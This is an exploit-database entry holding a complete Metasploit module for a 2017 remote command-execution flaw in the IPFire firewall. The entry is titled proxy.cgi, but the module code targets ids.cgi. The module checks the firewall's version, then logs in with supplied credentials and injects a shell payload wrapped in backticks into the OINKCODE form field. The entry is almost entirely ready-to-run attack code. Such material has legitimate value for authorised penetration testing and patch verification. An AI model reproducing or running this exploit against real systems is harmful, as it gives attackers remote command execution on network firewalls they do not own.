IPFire proxy.cgi Remote Code Execution

2017.07.22
Credit: h00die
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## ## This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient Rank = ExcellentRanking def initialize(info = {}) super( update_info( info, 'Name' => 'IPFire proxy.cgi RCE', 'Description' => %q( IPFire, a free linux based open source firewall distribution, version < 2.19 Update Core 110 contains a remote command execution vulnerability in the ids.cgi page in the OINKCODE field. ), 'Author' => [ 'h00die <mike@stcyrsecurity.com>', # module '0x09AL' # discovery ], 'References' => [ [ 'EDB', '42149' ] ], 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Privileged' => false, 'DefaultOptions' => { 'SSL' => true }, 'Arch' => [ ARCH_CMD ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'perl awk openssl' } }, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 09 2017' ) ) register_options( [ OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ false, 'Password to login with', '']), Opt::RPORT(444) ] ) end def check begin # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179 # after a chat with @bcoles in IRC. res = send_request_cgi( 'uri' => '/cgi-bin/pakfire.cgi', 'method' => 'GET', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) ) if res && res.code == 200 /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body end if version.nil? || update.nil? || !Gem::Version.correct?(version) vprint_error('No Recognizable Version Found') CheckCode::Safe elsif Gem::Version.new(version) <= Gem::Version.new('2.19') && update.to_i <= 110 CheckCode::Appears else vprint_error('Version and/or Update Not Supported') CheckCode::Safe end rescue ::Rex::ConnectionError print_error("Connection Failed") CheckCode::Safe end end def exploit begin # authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179 # after a chat with @bcoles in IRC. vprint_status('Sending request') res = send_request_cgi( 'uri' => '/cgi-bin/ids.cgi', 'method' => 'POST', 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'Referer' => "#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi" }, 'vars_post' => { 'ENABLE_SNORT_GREEN' => 'on', 'ENABLE_SNORT' => 'on', 'RULES' => 'registered', 'OINKCODE' => "`#{payload.encoded}`", 'ACTION' => 'Download new ruleset', 'ACTION2' => 'snort' } ) # success means we hang our session, and wont get back a response, so just check we get a response back if res && res.code != 200 fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end


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